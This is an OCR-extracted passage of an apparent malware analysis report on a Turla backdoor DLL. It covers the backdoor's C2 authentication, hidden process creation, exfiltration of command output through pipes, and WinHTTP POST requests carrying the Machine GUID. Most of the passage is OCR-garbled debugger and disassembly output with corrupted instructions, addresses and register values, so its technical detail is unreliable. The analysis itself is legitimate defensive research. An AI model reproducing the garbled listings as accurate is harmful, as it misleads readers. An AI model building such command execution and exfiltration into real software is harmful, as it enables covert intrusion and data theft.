ri3b

; switch 11 cases

B16D8 default

'_
a
L
8

Figure 23

Ltext:@ROA7FFBATIBLECS
Jtext:Beee7FFBA73BL16CC
.text:Peee7FFBA73B16CE
Ltext:BBBRTFFBAT3B16DS
.text:e88@TFFBA73B16D38

4
lea rdx, cs:7FFBA7380000h
cdqe
mov ecx, ds:(jpt_7FFBA73B16D8 - 7FFBA73B00006h)[rdx+rax*4]
add rex, rdx
jmp rcx ; switch jump
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1st byte = 0x00 — Authentication

The backdoor compares the “Security” value with a string starting from the 2nd byte in the

response:
48 BB 56 10 mov 'd\‘q:ard ptr ds:[rsi+1io] | Bt e
48 BB CF mov rcx,rdi
EB 51 FE FF FF €&l ‘turla, 7EFBATIBL47D e ol P —
. %2 %8 She tur14sTrraa7aBLe2E BOX DONGHIETBRA-AAL i el
it 23 E£ H 1aA =1 and RDX  DODOOLF16B3787A0 L"test”
-text:@0e87FFBATIB1485
.text:@0087FFBATIB1485 loc_7FFBA73B1485:
.text:B0887FFBAT3IBE1485 xor eax, eax
.text:@8BO7FFBATIB1487 cmp eax, 1
-text:@@B07FFBATIB14BA jz short loc_7FFBA73B14CD
Ll .
: L ]
[Eal 5
Jtext:00087FFEATIB148C mov eax, [rsp+l8h+var_18]
Jtext:Peea7FFSATIB1ASF mov rex, [rsp+l8h+arg 8]
Ltext:P@e87FFEAT3B1494 movzx  eax, word ptr [rextrax®2]
-text:@8087FFEATIE1498 mov ecx, [rsp+lBh+var_18]
.text:B8887FFEAT3E1498 mov rdx, [rsp+lBh+arg B]
.text:@@087FFBATIBLAAR movzix  ecx, word ptr [rdwércx*2]
stext:@@Q8TFFBAT3B14A4 cmp eax; ecx
Ltext:00087FFBATIB14AE jz short loc_7FFBA73B14AC
L
v

-text:BBOATFFFBATIB14AC
-text:@@BOFFFBA7IB14AC loc_7FFBATIB14AC:

-text:@@@OTFFBATIELMAC mov eax, [rsp+l8hsvar 18]
-text:@@0Q7FFBATIE14AF mov rex, [rsp+lshtarg @]
-text:00007FFBAT3E14B4 movzx  eax, word ptr [roxtrax®2]
-text:00007FFBA73B14B8 test eax, eax
.text:B0087FFBATIBI4BA jnz short loc_7FFBA73B14(3
J 1
v [
s = FMEE o o=
.text:88007FFBATIB14AB xor eax, eax text :@8807FFBATIB14BC mov eax, 1 . text:B0087FFBATIB14CE
Jtext:@BBBTFFBATIE1IAAL jmp short loc_7FFBA73B14CD| |.text:08887FFBATIB14CL jmp short loc_7FFBA73B14(D .text:@@087FFBA73B14C3 loc 7FFBAT3B14C3:
.text:00087FFEA7IB14C3 mov eax, [rsp+l8h+var_18]
. text:@0e87FFBA7IB14C6 inc eax
. text:@0007FFEATIE14CE mov [rsp+lBh+var_18], eax
.text:@@887FFBATIB14CE jmp short loc_7FFBA73B1485

Figure 25
Whether the two strings are equal, the malware sends “00 00” to the C2 server. Otherwise, it
sends “00 03”, indicating an unsuccessful “authentication”.

1st byte = 0x01 — create a process

The binary creates a process specified by the C2 server in the response (0x08000000 =
CREATE_NO_WINDOW):

12/30



00007 FFBAT3B1698 49 89 07 mov qword ptr ds:[ris],rax RAX  0ODODOBO3ELEFSS0

00007 FFEAT3B1698 48 85 CO test rax,rax " "
0DOO7FEBAT3BIESE| ~ 75 07 jne turl:.?FFa:?anA; ;:2 m ndovi.ongeTrw
00007 FFBAT3IR16A0 49 89 07 mov qword ptr ds:[ris],rax i .
00007 FFBAT3B16A3 41 B9 04 24 mov dword ptr ds:[r12],eax RDX  OODOOIFLGBASADAL L"cmd. exe
00007 FFBAT 361647 44 B8 28 mov byte ptr ds.frax‘_l ri3b REP  DODODDSOZELEFSAL
00007 FFBAT3B16AA 49 8B 07 mov rax,qgword ptr frls BSE  00000D0B03ELEF4DO
o | 00007FFBAT3IB16AD €6 40 01 02 mov byte ptr ds-tru-x},g RSI 000001F 168979130 &L "SYSTEM\\CurrentControlset
o | 00007FFBATIE1681| ~ E9 24 FF FF FF jmp turla.7FFBAT3B1SDA RDI  0OO0D01F16BASA0AL L"cmd. exe™
® | 00007FFBAT3B1686 41 OF B6 C5 movzx eax,ri3b
& | 00007FFEATIBLGBA FF C8 dec eax RS 0000000000000000
e | 00007 FF8AT3B168C 83 F8 0A cmp eax,A RS 0000000000000000
00007FFBA73B16BF| v OF 87 EE 06 00 00 a turla.7FFEA7381083 R10  0O00000000000000
O0007FFSAT3B16CS 48 8D 15 34 E9 FF FF ea rdx,qword ptr ds:[7FFBA73B0000] R11  DODODOSO3ELEFSED
00007 FFBAT3B16CC 48 98
00007 FFBAT3B16CE 88 8C 82 2C 1E 00 00 mnv ecx,dword ptr ds:[rdx+rax 4+1£2C] :i; 000000503E1EFEB0
00007FFBAT 381605 48 03 CA add recx,rdx 0000000000000000
00007 FFBAT3E16DE FF E1 jmp rex R14  0000000000000010
00007 FFEAT3B1EDA 48 BB CF mov_rex,rdi R15  DODODOBO3ELEFES0D
DO007FFBAT3B16DD E8 4E FD FF FF €81 turla.7FFBAT3B1430
00007FFBAT3IBL6EZ 41 3B C6 cmp eax,rldd RIP  DODO7FFBAT3BLTSS Turla.00007FFBAT3B1754
00007FFSA73B16ES| ~ 74 07 je turla.7FF8AT3B16EE
00007 FFBAT3IBLGET B3 01 mov bl,1 RFLAGS 00000000000002 46
00007FFBATIBL6ES| v E9 €5 06 00 00 jmp turla.7FFeA7381083 ZF1 PF1 AF O
00007 FFBA73B16EE 33 D2 xor edx,edx OF 0 SEFO DF O
00007 FFBAT 3B16F0 45 8D 4D AF lea rcx,qword ptr ss:frop-5 CFoO TFO IF 1
O0007FFBATIB1EF4 44 BD 42 68 Tea rsd,?word ptr ds:[rdx+68
00007 FFBAT3B16FS EB E3 FC FF FF E&11 turla.7FFBA73B13E0
00007 FF8AT 3B16FD 33 D2 xor edx,edx LastError 00000000 (ERROR_SUCCESS)
00007 FFBAT3B1EFF €7 45 AF 68 00 00 00|mov dword ptr ss:frbp-51§,68 LastStatus CO00007C (STATUS_NO_TOKEN)
00007 FFBAT3IBLTO6 48 BD 4D BF lea rcx,qword ptr ss:frbp-71§
OO007FFBAT 3B A €7 45 EB 01 01 00 00 mov dword ptr ss:frbp-15{,101 G5 D02B FS 0053
00D07FFBA73ELT11 44 8D 42 18 lea rad,qword ptr ds: [rdx+1s] ES 0028 QS 0028
00007 FFBAT3B1715 E8 C6 FC FF FF turla. 7FF8A73B13E0 CS 0033 35 0028
00007FFBAT3BLT1A 48 BD 45 8F ea rax,qword ptr ss:frbp-71f
D0007FF8A73B 45 ED xor riid,risd X87r0 00000000000000000000 STO Empty 0.000000000000000C
QO0GZETSA7 IR & 2428 mov gword ptr ss:frsprasy,rax X87r1 00000000000000000000 ST1 Empty O.000000000000000C

00007FFBA738 9 xor rad,rsd

A87rz 00000000000000000000 STZ Empty O.000000000000000C

45 AF lea rax rd ptr ss:frbp-51

Ca xor rsd:m e ey ¥ ‘(:;ri 00000000000000000000 gz :ng g.DOOODOOOOOOODODC
mov gword ptr ss:frsp+4of,rax X87r4 00000000000000000000 mp - 000000000000000C
mov rdx,rdi a X87r5 00000000000000000000 STS Empty O.000000000000000C

mov gword ptr ss:Brsp+3sf,ri3 *87r6& 00000000000000000000 ST6 Empty 0.000000000000000C
XOr ecx,ecx X87r7 00000000000000000000 ST7 0.000000000000000C
ODDO"FFSA"BBL F mov gword ptr ss 3
UUUO’FFSA‘BEL‘J-! mov rd ptr ss:f ,socoooc x87Tagword FFFF
00007 mov_dword ptr sp+2

4 i D & b d pt - mrmwru:esm_v

>

rdx 000001F16BASAOAL L"cmd. exe"
r8 000000D00D00O000

0000000000000000
. TexT: 00007 FFBAT3B1754 turla.d11:$1754 #B54 £J

$loump2  WWDump3 U4 Dump 4

000000803ELEF530
0000000000000

DDOOOlFiEBAS 9F5 D

00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00

Flgure 26
The WinHttpOpenRequest routine is used to create a POST request handle (0x800000
= WINHTTP_FLAG_SECURE):

00007FFBATIBLEDS 48 BB 46 18 mov rax,qword ptr ds:[rsi+1s8] RAX 000000B03ELEFE48
4 .0a,c8 i o ken REX  00DO7FFE1EDSADE0 L WE4Time"
OF 10 D4 CB movups xmmd,xmmword ptr ds:[rax+rcx*s] RCX DO0001F168988000
49 BB CA mov rcx,rio i 7
66 44 OF €5 CO 04 pextrw rsd,xmmo,+ RDX  OO0O7FFBA73B3150 L"POST
66 48 OF 7E C2 movg rdx, xmmd RBP  DODODOSO3ELEFEED
FF 15 DB 11 00 0O gword ptr ds:[<éWinHttpConnects] BSE  000000803ELEF600
4C 8B EB mov ri3,rax RSI  DODODLF16B373130 &L"SYSTEM\\CurrentControlset
48 85 CO test rax,rax RDI  DO00DOOOOD00D000
---------- ~ OF 84 DE 01 00 00 je turla.7FFBA7382009
48 88 56 28 mov rdx,qword ptr ds:[rsi+28] RE 0000000000000000
4C BD 4D 48 lea ro,qword ptr ss:frbpts RS 0000000000000000
S el LR ot a7 Setpons i ey - e X R10  O0OO7FFEB11CBESO ntd11.00007FF8B11CEESD
s . 2
DO007FFEATIBIF10 ES CB 02 00 00 EAT) turla.7FFBATIB21ED ::';f mﬁgg::;::::g
00007 FFBATIBLFLS 85 Co Test eax,eax
e 00DO7FFBAT3BIFLT| ~ OF 84 BC 01 00 00 je turla. 7FF8A7382009 Rl OUOUKLE LRRIAEDDY =
00007FFSAT3B1F1D OF 1F 00 nop dword ptr ds:[ R14  0000DLF16BIS1EED L"Dad3e319-280c-4f11-94d4-d3¢
00007 FFBAT 3B1F20 44 BB 45 458 mov rad,dword ptr ss: - R15 0000000000000000
D0OOTFFEAT3IB1F24 48 BD 45 50 lea rax,qword prr 55!
00007FFBA73B1F28 48 88 55 E8 mov rdx,qword ptr ss: RIP  OO0007TFFBATIBLFI9 turla.00007FFBAT3BLFI9
DO007FFBAT3IB1F2C 4C BD 4D FO lea ra,qword ptr ss5
O0007FFBA73B1F30 48 BB CE MmOV rcx,rsi RFLAGS  0000000000000246
00007 FFBAT3B1F33 43 89 44 24 20 mov_gword ptr ss:frsp+2o),rax ZF1 PF1 AF D
00007FFBAT3B1F3S ES 23 F& FF FF €all turla.7FFBA73B1560 OF 0 SE O DF O
00007 FFBAT3B1F 3D 44 89 7D 48 mov dword ptr ss:frbp+4saf,risd CFo TEO IF 1
00007FFBATIBIF41 85 cCO TesT eax,sax
ODOO7FFSAT3BIF43| ~ 75 1A jne turla.7FFBA73BIFSE
D0007FFBA73B1F45 48 83 7D E8 00 cmp gword ptr ss:firbp-15§,0 Lastérror 00000000 (ERROR_SUCCESS)
O00007FFSA73IBIF4A| ~ 74 09 € turla.7FFBA73B1F5S LastStatus CO00007C (STATUS_NO_TOKEN)
00007 FFEAT3BIF4C 48 8D 4D EB BA rCx, rd ptr ss-.rbp 18§
00007 FFBAT3B1FS0 E8 FB F3 FF FF EE1T turla.7FFBAT3B135 GS 002B FS D053
48 83 7D FO 00 cmp qwrd ptr ss:firbp- ml. ES 0028 QS 0028
~ E9 30 01 00 00 jmp turla.7FF8A73B208F €5 0033 55 D028
48 83 7D E8 00 1 word ptr ss:[frop-18§,0
¥ 7409 € turla.7FFBA7IBIFEF 00000000000000000000 . D00000000D000000C
48 0 4D €6 ea_rcx,cwoed per. ss:firbp-180 Xa7r1 00000000000000000000 ST 333:; 0. 0000000000000000¢
EQ EL:£d FLIEE EEEN turla.7EFaA73B13s0 X87r2 00000000000000000000 ST2 Empty 0.0000000000000000C
e Gl mov riz,qword ptr ss:frop-108 X87r3 00DO0OOOOOODO00DODO0 ST3 EMPTy 0.00OOOO0DOOODOOOOE
48 80 15 D6 11 00 00|lea rdx,qword ptr ds:[7FF8A7383150] s % Empty o
4C 8B 76 28 mov ri4.qword prr ds:(rsie28] Xx87r4 0D0000000000000000000 5T4 Empty 0.0000000000000000C
45 33 C9 xor rad,rad X87r5 00000000000000000000 STS Empty 0.0000000000000000C
00007 FF8AT3B1FBL C7 44 24 30 D0 00 80|mov dword ptr ss:[rsp+20§, 800000 X87r& 00000000000000000000 STE Empty 0.0000000000000000C
00007FFBA73B1FS9 45 33 CO xor rsd,rsd x87r7 00000000000000000000 ST7 Empty 0.0000000000000000C
00007FF8AT3B1FEC 4C 89 7C 24 28 mov gword ptr ss:frsp+25Q,ris
00007 FF8A73B1FIL 49 8B CD mov rcx,ri3 x87Tagword FFEF
00007 FFBAT3B1F94 d rsp+20f, ri 5 al
7FFBA73B1 ! ﬂﬂttmeﬂue&b.v
>

qword ptr [DO0OTFFBATIBIOFE <tur1a.dminHTLPOPENREQUESLS]=winhTLp. Wi NHLLPOPErREqUESTS

. TeXt:00007FFBAT3IBLF99 turla.dl1:$1F99 #1399

ﬂmz

¥4 pump 3

44 Dump 4 & watch1  Ivellocals 5 Struct et
= ASCT OO00000B03ELEFS10 | 0D0O7FF618DSA00L | “ndowLongPtrw™
ooono:[pg_sgggguo 01 OOGOOSG?-EIEFIB 000001F168979130 | &L"SYSTEM\\CurrentControlset

Figure 27
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The backdoor adds an HTTP request header called “Title” that contains the Machine GUID to
the request handle (0x20000000 = HTTP_ADDREQ_FLAG_ADD):

000
Q0007

Y007

Flgure 28

The security flags for the handle are set using WinHttpSetOption
WINHTTP_OPTION_SECURITY_FLAGS, 0x3300
WinHttpRequestOption_SsiErrorignoreFlags):

Figure 29
The malicious process sends the POST request to the C2 server by calling the
WinHttpSendRequest API:

SesssNRRRRORN

00 0O
FF

o0
58

20

00

00

1B
10 00 00

00 00

24 30

28

28

20
oo

01 00

59 11

FF
0E

FF

FF FF
o0

FF

o0

00

00

00 00

mov rad,
or rad,

FFFFFFF
mov rdx,rdi
mov fCJ( rbx
qword ptr dsi[<awinHttpaddRequestHeaders
mov rox,rbx
test eax,eax
je turla.?FFBATIB20D0

mov rod,4
mov dword ptr ss:@rbp+5sj,3300
lea r&,qword ptr ss:lfrbp+5§
Tea edx,qword ptr ds:[r9+18

qword ptr ds: [<awWinHTTp!

SetOption>]

33 00 00|mov dword ptr ss.trbpusﬁikdg,u

|lea r8,qword ptr ss:frbp+5s
|lea edx,q:ord ptr ds:[r9+18

|m gword ptr ds:[<aWinHttpSetOptions]

| mov rex,rbx

test zax‘ga:

je turla.7FFB8AT3B2000

|mov edi,dword ptr ss:frop+sof
xor risd,risd
|mov gword ptr
xor r9d,r9d
|mov dword ptr ss:@rsptzall,eds

ss:Brsp+30f,ris

mov gword ptr ss:@rsp+2sf,ris
mov rcx,ris
mov_gword ptr ss:frsp+20f,ris
€& gword ptr ds:[<aWinHttpOperRequest>]
mov rhx,rax
TesT rax,rax
je turla,7FF8A7382009
mov rcx,rld4
€all turla.7FFSA73B1430
mov risd,eax
Tea ecx,gqword ptr ds:[rax+10]
EETA turla.7FF8AT3B1310
mov rdi,rax
test rax,rax
je turla.7FF8AT3B20CD
mov r8d,E
Tea rdx,qword ptr ds:[7FFBAT3B3130]
moV rcx,rax
€A1l turla,7FF8A7381390
Tea rcx,qword ptr ds:[rdi+g]
mov r8d,risd
mov_rdx,ri4
EAT turla.7FFEATIEL390
mov rad, 20000000
or r8d,FFFFF
mov rdx,rdi
mov_rex, rbx
call qword ptr ds: [<awinHttpAddRequestHeaders
mov rex,rbx
test gax,gu
je turla.7FF8A73B2000
mov rad,4
mov dword ptr ss:f@rbp+ssj,3300
lea r&,qword ptr ss:frb &
Tea edx,qword ptr ds:[r3+18
gword ptr ds: [<&WinHttpSetoptions]
mov rox,rbx
test eax,eax
je turla.7FFB8A73B2000
mov edi,dword ptr ss:frbp+sof
xor risd,risd
mov
xor
mov
xor
xor

ss:Brsp+3of,ris

dword ptr
réd,rad
edx, edx
dword prr ss:Brsp+2off,risd

W ‘aword pEr s [<awinHtTpSendRequest>]

v

| RAX

0000000000000044
REX  0O000LF1GB9ISBFE0
RCX  OODDOLF16B98BFE0
RDX  0ODDO1F16BA21820
REBP  OODOODSO3ELEFEE0
RSP  O0O000DBO3ELEFE00
RSI  000001F168979130
RDI  0O0DOOLF16BAZ1820
RS  OODODODOOFFFFFFFF
RS 0000000020000000

(Ox1F

RAX  00000DO0ODOOOOOL
REX  0ODOOLF168988F60
RCX 000001F 16B98BF 60
RDX 00000000000000LF
RBP  DODDODSO3ELEFE60
RSP  00DDODSO3E1EFE00
RSI  DODDO1F168979130
RDI  0ODDO1F168A21820
RS  OODOODBO3ELEFEBS
RS 0000000000000004

RAX 0000000000000001
RBX O00001F1EB98BFE0
RCX  000001F16B898BF60
RDX  0000000000000000
RBF 0OD00D0BO3ELEFEE0
BSE 000000B03EL1EFED0
RSI 000001F16B979130
RDI 0000000000000002
RS 0000000000000000
RS 0000000000000000
R10 0000000000000000
R11 O000D0BO3ELEF4ES
R12  D00001FLEBIBS440
R13 DO000LF16898BDDO
R14 00D0D01F1EB981EED
R15 0000000000000000
RIP O000TFFBAT3IB2051
RFLAGS 0000000000000246
ZF 1 PF1 AF O

OF 0 SF O DF O
CFO TFO IF 1

LastError

GS 0028 FS 0053
ES 0028 Q5 D028
€S 0033 35 0028

X87r0
XB7r1
XB7r2
XB7r3
X87r4
X87rs
X87re
X87r7

00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000

xX87Tagword FFFF

00000000 (ERROR_SUCCESS)
LastStatus CO0D0D7C (STATUS_NO_TOKEN)

vy

L"Title: Dad3e319-280c-4
&L"Dad3e319-280c-4f11-94¢
&L"SYSTEM\\CurrentContro
L"Title: Dad3e319-280c-41

4L"0ad3e319-280c-4F11-94(
&L"SYSTEM\\CurrentContro’
L"Title: Dad3e319-280c-41

&L"0ad3e319-280c-4711-94¢
&L"SYSTEM\\CurrentContro]

L"Dad3e319-280c-4F11-94d4

turla.00007FFBAT3B2051

5TO
5T1
512
ST3
5T4
5T5
5T6
L d

0.00

0. 000000000000(
0. 000000000000¢
0. 0000000000004
0. 0000000000004
0. 000000000000¢
0. 0000000000004
0. 0000000000004

EmpTy
EmpTy
Empty
Empty
Empty
Empty
EmpLy
Empty

i _n -

Default (x64 fastcall

|
~ [5 151 0] Unlockes

. Text:D0007FFBA7382051 turla.d11:52051 #1451

% Dump 1 wmz Poump3 4 Dump 4

¥ Dump 5

B watch1  [veLocals

000000803E1EFGBSE [0 33 00 00|80 00 00 00

000000B03ELEFECE
44 02 23 00|00 00 0O OO

D00000803ELEFEDE

Figure 30

00 00 00 00|00 OO0 00 OO0
00 00 00 00 UD 00 DCI 00

e 60
rdx_0000000000000000
r8 0000000000000000

r9 0000000000000000

000001F16BAZ182E
000001F16B981EED
D0007FFE00000044A
2| DO0001F16B979130

L"0ad3e319-280c-4711-94d4-d369 ,
L"Dad3e319-280c-4f11-94d4-d369

&L"SYSTEM'\\CurrentControlset\’

A confirmation message “01 00” is sent to the C2 server using WinHttpWriteData:
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kcor ok

00
00
00
1B
10

o0

24
10

ED

FF

00
00
11

FF
00

00
(]
33

20
00

00

00

20

00

00

o0

10 00 00

00

Mov rex,rid

EETT turla.7FFEATIE1430

mov risd,eax

lea ecx.?uurd ptr ds: [rax+10]

€&l turla.7FF8A73B1310

mov rdi,rax

test rax,rax

je turla.7FF8A73820CD

mov rad,E

lea rdx, quord ptr ds: [7FFBA73B3130]

MoV Fex,rax

EETY turla. FFBAT3IB1390

1ea rex,qword ptr ds:[rdi+E]

moy rad,risd

mov_rdx,ri4

€81 turla.7FFSA73B1390

mov r3d, 20000000

or rad,FFFFFFFF

mov rdx,rdi

mov rcx,rbx

€all gword ptr ds: [<&winHUtpAddR equestHeat

mov rcx,rox

Test eax,eax

je tur1a TFFBAT3IE2000

mov rad,4

mov dword ptr ss:f@rbp+ss@, 3300

lea r&8,qword ptr ss:frbp+58|

lea eax,quord ptr ds:[r9+18
qword ptr ds:[<aWinHtrpSetOptions]

mov rcx,rbx

test eax, eax

je turla.7FFBA73B20D0

mov edi,dword ptr ss:frop+5of

xor risd,risd

mov gword ptr ss:f@rsp+3of,ris

xor rod,rod

mov dword ptr ss:@rsps28Q,edi

xor r&d,rsd

xor edx,edx

mov_dword ptr ss! |rsp 20§, r154d

€& gword ptr ds:[<awinHttpSendRequests]

mov rex,rbx
test eax,eax

& turla.7FFBA73B20C5

ea r3,qword ptr ss:rbp-20§
mov r&d,edi

Ptr dss[<awinHttpwriteData-].

mov rdx,ri2
€all aword

v

RAX 0000000000000001
RBX 000001F1E6BASADAD
RCX 000001F LEBASADAD
RDX DO0D0LF LEEIES 440
RBP 00000DB03ELEF 660
RSP  O00D00D0B03E1EFE00
RSI O00001F168979130
RDI 0000000000000002
R8 0000000000000002
R9 000000803ELEF640
R10 000001F16B970D80
R11 0000000000000246
R12 O0000LF1EE9BS 440
R13 000001F16E988DD0
R14 O0000LF16B98LEED
R15 0000000000000000
RIP O0D0TFFBAT3B2068
RFLAGS 0000000000000202
ZF O PFO AF O

OF 0O SFO DF O

CFO TFO IF1
LastError

4&L"0ad3e319-280c-4F11-94d4-d:
&L"SYSTEM\\CurrentControlSet'

L'g'

L"Dad3e319-280c-4F11-94d4-d3¢

turla. 00007FFSA73B2065

00000000 (ERROR_SUCCESS)

LastStatus COOD007C (STATUS_NO_TODKEN)

G5 D028 F5 0053
ES 0028 Q35 002B
€5 0033 3535 002B

- Text:D0007FFBAT3B2068 turla.d11:52068 #1468

qword ntr [0000TFFBAT3B30ED <turla.&w)nHTTPWriteData>]=<winhttp.WinHttpWriteData>

@Woump1 | @Dumpz P Dump3

U5 Dump 4

% Dump 5

@ watch1  bellocals 4 Stuct

000001F15395514C.I -%‘ 00 00 00|00 00 OO OO|F1 B2 20 2F|00 15 00 80|H....... || P

Figure 31

NB7r0
XB7rl
X87r2
XB7r3
X87r4
X87rs
X87re
NB7rT

00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000
00000000000000000000

¥87Tagword FFFF

W P W

Deﬁljt{n&4fashzﬂ

5TO
5T1
512
5T3
5T4
575
5T6
5T7

Empty
EmpTy
Empty
Empty
Empty
EmpTy
Empty
EmpTy

0. 0000000000000000(
0. 0000000000000000(
0. 0000000000000000C
0. 0000000000000000(
0. 0000000000000000C
0. 0000000000000000(
0. 0000000000000000(
0. 0000000000000000(

PP

‘000001F1689B1EE0
00007 FFE00000044
000001F168973130

L e~
L"0ad3e319-280c-4F11-94d4

369

&L"SYSTEM\\CurrentControlset\}

WinHttpReceiveResponse is utilized to halt the process until it receives the response to the

HTTP request:

48 8B

Flgure 32

cB

33 D2
FF 15 A3 10 00 00

EE 1E BM 1A An A0

| xor edx, edx

| €@l gword ptr ds:[<awinHttpReceiveResponse

mov rox,rbx
cmp dword ptr ssifirbp-zof, edi
ne turla.7FFBA73B20C5
munrd nrre doc Frawindrrar Tnsadandl s~

RAX

0000000000000001
REX 000001FLEBASADAD
RCX 000001F 16BASAQAD
RDX 0000000000000000

The backdoor sleeps for “TimeShort” milliseconds and waits for further instructions:

88 4E

43 8B
4C 8D
a

s an

Flgure 33

56 28
40 48

ar £e

FF 15 ﬁ! OF 00 0D

Imov ecx,dword ptr ds:[rsi+C
call aword ptr ds:[<aSleep>].

mov rdr.ﬂword ptr z[rsi+

|1ea ro,qword ptr ss: Irun 43

a3 r0 Awerd nre o 1 of

28]

1st byte = 0x02 — create a process and exfiltrate its output

RAX 000000803E1EFE50
REX 000001F1EBAS ADAD
RCX 0000000000005 000

The malicious file creates an anonymous pipe and returns handles to the read/write ends of

the pipe:

poRCEOBABSLS)

Figure 34
The write handle is set to be inherited by calling the SetHandlelnformation routine (0x1 =
HANDLE_FLAG_INHERIT):

00

EE
<

mov
xor
mov
lea
mov
Tea
mov
Tea

dword ptr ss:[Qrbp-sof,18
rad,rod

gword ptr ss:frbp-75§,rbx
r&,qword ptr ss:frbp-sof
dword ptr ss:Qrbp-70
rdx,gword ptr s
agword ptr ssilrbp+3c
rcx,gword ptr_ss:firbp+
gword ptr ss: |r5 +50f, FFFFFFEFFFFFFFFF

d ptr '[MrentePtpe:-]

Test eax,eax
je turla.7FFEATIBL0AD _

RLAX 0000000000000018
RBX 0000000000000000
RCX 000000B03ELEF4D0
RDX 000000B03ELEF3FOD
RBF D00000BO3ELEF4AD
BSE D00000BO3ELEF3AD
RSI 0000008B03ELEF520
RDI 000000803ELEF620
RS 000000803ELEF420
L] 0000000000000000
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lea edx,gword ptr ds:[rbk+1]"

wic rad Lag RAX  0000000000000001
y e 0000000
4510120700700 €all qword pEridssT<esetkandleInformations | A% 0000990000909900
Test eax,eax
jne turla.7FFBA73B10B4 ROX  0000000000000001
30 mov_rcx,qword ptr ss:Erbp+3of REP  DODDODSO3ELEF4AD
1F 00 00 €&l gword ptr ds:[ 105el’l¢!‘ﬂe>] RSE  0ODODOBO3ELEF3A0
24 50 mov_rcx,qword ptr s5s:frsp+50 RSI  000DODS03E1EF520
1F 00 00 _ qwrﬂ prr ds:[<iCloseHandles] RDI  0ODOO0DS0O3ELEFE20
mov
r 00 00 Jmp l:ur_'l&.‘:‘_FF&A?SB:I.zEF RB 0000000000000000

Flgure 35
A second

Figure 36

anonymous pipe is created via a function call to CreatePipe:

48 C7 44 24 5B FF FF|mov gword ptr ss:Q@rsp+ssl,FEFFFFFFFFFFFFFF D000
4C 8D 45 B8O Tea r8,qword ptr ss:ﬁrho-iﬂi :‘;i omg'ggg?‘.‘;gggg;
48 C7 44 24 60 FF FF|mov gword ptr ss:Qrsp+60f, FFFFFFFFFFFFFFFF pe b tsb e
lea rdx,qword ptr ss:[frsp+&0)
lea rex,gword ptr ss:firsp+ss RDX  O0000QBO3IELIEF 400
call ptr de:[<acCreateripes] RBF O00000BO3ELEF4AD
test eax,eax BRSE  0ODOOOBO3ELEF3A0
je turla.7FFBA73B1098 RSI  0OD00OS03ELEF520
mov rcx,qword ptr ss:ifirsp+ssj RDI 000000803ELEFE20
xor ré&d,rad
lea edx,quord ptr ds:[r&+1] RS 00000080D3E1EF420
FF 15 AD 1F 00 0O &M gqword ptr ds:[<&SetHandleInformation: RS9 0000000000000000

The read handle is set to be inherited by calling the SetHandlelnformation routine (0x1 =
HANDLE_FLAG_INHERIT):

Figure 37
The malware creates a process mentioned by the C2 server in the response (0x08000000 =

CREATE_NO_WINDOW):

xor rad,rsd

41 8D 50 01 lea edx,gword ptr ds:[ra+1i m mm%%

FF 15 AD 1F 00 00 |call “ds: [<&SetHandleInformation: W

85 CO Test eax,eax RCX  00000000000005AC 'k
v OF 84 F8 00 00 00 j& turla.7FFBAT3B11F3 ROX  0000000000000001

33 D2 xor edx,edx REF  DDOO00BO3ELEF4A0

48 8D 4D AD lea rcx,gword ptr ss:firbp-0) RSP  OO00O00S03ELEF3A0

44 8D 42 68 'Iea rad, ?uord ptr ds: [rdx+68 RSI  DOOODOSBO3ELEF520

E8 D& 02 00 00 €all turla.7FFBATIB13ED RDI  DOOOO0SO3ELEF620

48 BB 45 30 mov rax,qword ptr ss!:frbop+3i

48 BD 4C 24 6B Tea rcx,quord ptr 5s:Qrsp+Gs| RS 0000000000000000

Figure 38

i e ac 24 50 mov rex,qword ptr ss:firsp+soll RAX  DODODOSO3ELEF440
| e 93 1F 00 00 n qvmrd ptr ds:[<aCloseHandles] REX  00DO0000DCDCO0DD
i i RCX  0000000000000000
_'_: gg 28 o ?‘:E r‘.“;;.l E‘BZFF“HN‘ZEF RDX  0OOODL1F1EBASAOAL L"cmd. exe”
: . 44 24 58 FF FF|mov qword ptr ss:[@rsp+sall,FFFFFFEFEFFFFRFE REP  0OO0000SO3ELEF4AQ
H . 45 80 l1ea r8,qword ptr ss:frbp-sof BSE 000000803ELEF3AD
: . 44 24 60 FF FF|mov gword ptr ss:frsp+soll,FFEFFFFFFFFFFFFF RSI 0000D0803ELEFS20
' . 54 24 60 lea rdx,qword ptr ss:frsp+&0] RDI  DODODODSO3ELEFEZO0
' 4C 24 58 lea rcx,qword ptr ss:frsp+58
: A3 1F 00 00 B8 gword prr ds: [<&CreatePipes] RS 0000000000000000
- SEEL_ERIL, ERX R9 0000000000000000
-e je turla.7FF8AT381098 o R10  0000000000000000
e e ichd :g;'qr“"wrd ptr ss:lirsprsall R1L  0000000000000246 L'p'
. 50 01 Tea edx:qwnrd pir ds:[rse+1] :J': uommamn“sag
. AD 1F 00 00 qword ptr ds:[<&SetHand]eInformation: 1 000000000000000 " &
TesT eax,eax R14 000001F16BASADAL L"cmd. exe
' . F8 00 00 00 je turla,7FFSA7IBI1F3 R1S 00DODOBO3ELEFESD
i - xor edx,edx
: . 40 AD lea rcx,qword ptr ss:rbp-60) RIP  OODO7FFSA73B1179 turla.00007FFBA73B1179
! - 42 68 lea rad,qword ptr ds: [rdx+68
‘ . 02 00 00 €@l turla.7FF8A73B13E0 RFLAGS  0000000000000246
] . 45 30 mov rax,qword ptr ss:firbp+3 ZFE1 PF1 AF O
i L] 4C 24 68 1ea rcx,qword ptr ss:frsp+GsE OF 0 SEO DF O
: . xor edx,edx
: . 45 FO mov gword nl:{:I 55=lfbﬂilf‘l'fa; £E DIEFELMS e
: . 44 24 80 mov rax,qword ptr_ss:[irsp+60l
Pe AD 68 00 00 00|mov dword ptr ss:frbp-sof,ss LastError 00000000 (ERROR_SUCCESS)
! - DC 01 01 00 00|mov dword ptr ss:firbp-24f,101 LastStatus CO00007C (STATUS_NO_TOKEN)
i . 42 18 lea rad,qword ptr ds:[rdx+18]
1 . 5D EO bp-20) G5 OD2ZB FS 0053
' 45 F8 ES 0028 QS 0028
: 45 00 €S 0033 35 0028
' 02 00 00
x E; 24 &8 x:: :;;.mrd ptr s= Irsnfﬁﬂ X87r0 00000000000000000000 STO EmpTy 0.0000000000000000(
